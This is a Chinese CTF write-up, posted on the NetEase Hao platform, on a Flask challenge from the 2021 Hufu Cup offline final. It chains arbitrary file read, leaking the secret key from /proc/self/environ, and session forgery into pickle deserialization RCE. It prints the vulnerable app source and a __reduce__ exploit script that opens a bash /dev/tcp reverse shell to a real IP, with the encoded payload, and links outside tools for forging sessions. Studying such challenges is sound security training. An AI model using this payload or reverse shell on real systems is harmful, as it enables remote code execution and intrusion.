网易首页 > 网易号 > 正文 申请入驻

记录虎符杯线下决赛flask反序列化及patch思路

0
分享至

(一)背景

前几天与团队成员一起审计复现关于flask框架的反序列化漏洞以及session伪造相关的漏洞。想到了2021年虎符杯线下决赛的这个赛题,也是涉及以上两个漏洞点,故拿出来做个分享与交流。

(二)分析

环境存在任意文件读取漏洞,直接读取/app/source得到如下源码。

审计flask代码需要先看路由以及路由对应的函数代码逻辑比较清晰,/file路由下存在任意文件读取,/admin路由下存在u = pickle.loads(u) pickle反序列化,且代码开头处存在以下一个序列化点。

User = type('User', (object,),

{ 'uname': 'test', 'is_admin': 0, '__repr__': lambda o: o.uname, })

#!/usr/bin/python3.6

import os

import pickle

from base64 import b64decode

from flask import Flask, request, render_template, session

app = Flask(__name__)

app.config["SECRET_KEY"] = "*******"

User = type('User', (object,), {

'uname': 'test',

'is_admin': 0,

'__repr__': lambda o: o.uname,

@app.route('/', methods=('GET',))

def index_handler():

if not session.get('u'):

u = pickle.dumps(User())

session['u'] = u

return "/file?file=index.js"

@app.route('/file', methods=('GET',))

def file_handler():

path = request.args.get('file')

path = os.path.join('static', path)

if not os.path.exists(path) or os.path.isdir(path) \

or '.py' in path or '.sh' in path or '..' in path or "flag" in path:

return 'disallowed'

with open(path, 'r') as fp:

content = fp.read()

return content

@app.route('/admin', methods=('GET',))

def admin_handler():

try:

u = session.get('u')

if isinstance(u, dict):#如果u对应的值是字典,会读取 u.b

u = b64decode(u.get('b'))

u = pickle.loads(u)#pickle反序列化

except Exception:

return 'uhh?'

if u.is_admin == 1:

return 'welcome, admin'

else:

return 'who are you?'

if __name__ == '__main__':

app.run('0.0.0.0', port=80, debug=False)

很明显的一个session伪造加pickle反序列化rce。代码中的secret_key被打码处理,但可以通过任意文件读取从/proc/self/environ 获取环境变量,里面有secret_key,可以拿这个secret_key伪造session。

图为读取到secret_key时应如上所示

在之前的文章中我们提过flask是个轻量级的web框架,其session区别与其他的框架是加密保存在客户端的。所以,只要获取到secret_key即可任意地构造我们所需要的session。

关于session的解释:

在解析 session 的实现之前,我们先介绍一下 session 怎么使用。session 可以看做是在不同的请求之间保存数据的方法,因为 HTTP 是无状态的协议,但是在业务应用上我们希望知道不同请求是否是同一个人发起的。比如购物网站在用户点击进入购物车的时候,服务器需要知道是哪个用户执行了这个操作。对于我们熟悉的其他web环境中,大部分对session操作都是存入服务器本地文件中,用户看到的只是session的名称(一个随机字符串),其内容保存在服务端,这样就做到了用户无法读取到session,这种叫服务端session。

(三)伪造

所以目前阶段已经获取到了反序列化所需的一切条件,只需要构造我们的反弹shell命令,代入以上的User类进行__reduce__反序列化即可。

__reduce__类似于php里面的构造函数魔术方法,在反序列化的时候自动触发。Exp脚本如下:

import pickle

from base64 import b64encode

import os

User = type('User', (object,), {

'uname': 'tyskill',

'is_admin': 0,

'__repr__': lambda o: o.uname,

'__reduce__': lambda o: (os.system, ("bash -c 'bash -i >& /dev/tcp/123.60.47.130/9999 0>&1'",))

u = pickle.dumps(User())

print(b64encode(u).decode())

执行结果如下所示 得到序列化字符串:

gANjcG9zaXgKc3lzdGVtCnEAWDUAAABiYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEyMy42MC40Ny4xMzAvOTk5OSAwPiYxJ3EBhXECUnEDLg==

接下来就是伪造session,这里附上两个非常不错的工具,有需要的小伙伴可以自取!

链接:https://pan.baidu.com/s/1ZYs1wj_1s2Yx6JmweREGRg

密码:5nlt

执行以下命令,构造session:

(四)反弹shell

将生成的新session进行替换,再去访问/admin路由即可。

监听以后,刷新/admin页面即可触发反序列化。

成功反弹shell,flag在/flag目录下。

(五)总结

关于反序列化漏洞一直是红蓝对抗中兵家必争的漏洞点,受限于flask框架的应用以及利用难度,实战中往往java反序列化、php反序列化更多。但漏洞原理以及链条的构造方法从底层逻辑来看都是没有区别的,一通百通。

特别声明:以上内容(如有图片或视频亦包括在内)为自媒体平台“网易号”用户上传并发布,本平台仅提供信息存储服务。

Notice: The content above (including the pictures and videos if any) is uploaded and posted by a user of NetEase Hao, which is a social media platform and only provides information storage services.

相关推荐
热点推荐
其他球员的状态都烂成这样了,快船都不敢试一试这位后场神经刀?

其他球员的状态都烂成这样了,快船都不敢试一试这位后场神经刀?

稻谷与小麦
2025-01-09 16:37:26
二甲双胍走下神坛!糖尿病新指南:两种药替代它,成为一线降糖药

二甲双胍走下神坛!糖尿病新指南:两种药替代它,成为一线降糖药

李药师谈健康
2025-01-09 13:40:04
克洛依·费里丰腴之美,豹纹下的性感绽放。

克洛依·费里丰腴之美,豹纹下的性感绽放。

述家娱记
2025-01-09 12:53:28
太贵了!某医院给孩子开药,西药不到20块,中成药近500块

太贵了!某医院给孩子开药,西药不到20块,中成药近500块

小萝卜丝
2024-12-20 09:45:31
美媒:一旦战争爆发,中国的飞机根本没机会上战场,专家说出实情

美媒:一旦战争爆发,中国的飞机根本没机会上战场,专家说出实情

小lu侃侃而谈
2025-01-06 20:11:06
曼晚:巴因德尔表现一般,曼联可能回购青训门将

曼晚:巴因德尔表现一般,曼联可能回购青训门将

直播吧
2025-01-09 16:32:19
谁来帮我?美媒:勇士正在浪费库里的剩余时间

谁来帮我?美媒:勇士正在浪费库里的剩余时间

直播吧
2025-01-09 14:14:18
0-2!二号种子轰然倒地,31分钟溃败,蒋振邦魏雅欣止步十六强!

0-2!二号种子轰然倒地,31分钟溃败,蒋振邦魏雅欣止步十六强!

钉钉陌上花开
2025-01-09 11:23:06
6位大满贯冠军捉对厮杀!前3种子首轮遇强敌,大坂直美战加西亚

6位大满贯冠军捉对厮杀!前3种子首轮遇强敌,大坂直美战加西亚

排球黄金眼
2025-01-09 14:29:21
中国两个老朋友,心却彻底倒向美国,还曾出口过大量先进装备给咱

中国两个老朋友,心却彻底倒向美国,还曾出口过大量先进装备给咱

逍遥史记
2025-01-09 16:06:42
抱上三个女人大腿,建起金融帝国崩塌后,庭审上却说自己不懂法律

抱上三个女人大腿,建起金融帝国崩塌后,庭审上却说自己不懂法律

神秘历史故事
2024-01-09 12:58:41
当《大奉打更人》没了特效,画面变得太搞笑,田曦薇都要憋着笑

当《大奉打更人》没了特效,画面变得太搞笑,田曦薇都要憋着笑

九米妈妈
2025-01-09 12:06:03
搞笑图片第760期:第一次去东北搓澡的朋友记得和搓澡师傅商量好

搞笑图片第760期:第一次去东北搓澡的朋友记得和搓澡师傅商量好

今天的快乐
2025-01-03 19:53:17
叙利亚爆发大规模内战,双方均伤亡惨重,朱拉尼终于理解阿萨德

叙利亚爆发大规模内战,双方均伤亡惨重,朱拉尼终于理解阿萨德

咊烟若白
2025-01-07 16:32:14
加拿大政坛变天,总理热门人选对华态度曝光,称当选后能赶走中国

加拿大政坛变天,总理热门人选对华态度曝光,称当选后能赶走中国

大光观察
2025-01-08 17:25:02
你是怎么突然发现同事很有钱的?果然电视剧情来源于生活!破防了

你是怎么突然发现同事很有钱的?果然电视剧情来源于生活!破防了

热闹的河马
2024-07-27 11:26:13
哪些瞬间你秒懂了别人的暗示?被网友分享代入,有些亲戚没有也罢

哪些瞬间你秒懂了别人的暗示?被网友分享代入,有些亲戚没有也罢

娱乐洞察点点
2024-12-02 17:05:05
低于20万!小米SUV价格曝光,雷军下场整顿入门汽车领域

低于20万!小米SUV价格曝光,雷军下场整顿入门汽车领域

全球科技官
2025-01-08 11:05:16
女子被老公卖到缅北之后,被训练成了供人玩乐的货物,太黑暗了!

女子被老公卖到缅北之后,被训练成了供人玩乐的货物,太黑暗了!

半山小故事
2023-05-31 00:09:13
梁朝伟董洁往事还能瞒多久?爆两人房间满地成人用品!

梁朝伟董洁往事还能瞒多久?爆两人房间满地成人用品!

派大星纪录片
2024-12-16 17:52:45
2025-01-09 17:12:49
星云博创
星云博创
星云博创-专业安全服务提供商
90文章数 12关注度
往期回顾 全部

科技要闻

国产震撼!15万人CES围观"中国代表队"

头条要闻

浙大一女生用AI学术造假被麻省理工退学 本人发文致歉

头条要闻

浙大一女生用AI学术造假被麻省理工退学 本人发文致歉

体育要闻

独行侠会续约欧文吗?

娱乐要闻

25岁模特赴泰国拍戏,在泰缅边境失联

财经要闻

民生银行,仍未走出泥潭

汽车要闻

10万元级无图智驾 悦也PLUS全路况实测

态度原创

时尚
游戏
家居
手机
艺术

100款巨好看的新年美甲!显白显手细,短甲也能做!

分析师称《GTA6》或将重定义游戏业 就像五代那样

家居要闻

松烟入墨 彰显东方韵味

手机要闻

索尼 Xperia 1V 和 5V 手机开始升级安卓 15 操作系统

艺术要闻

故宫珍藏的墨迹《十七帖》,比拓本更精良,这才是地道的魏晋写法

无障碍浏览 进入关怀版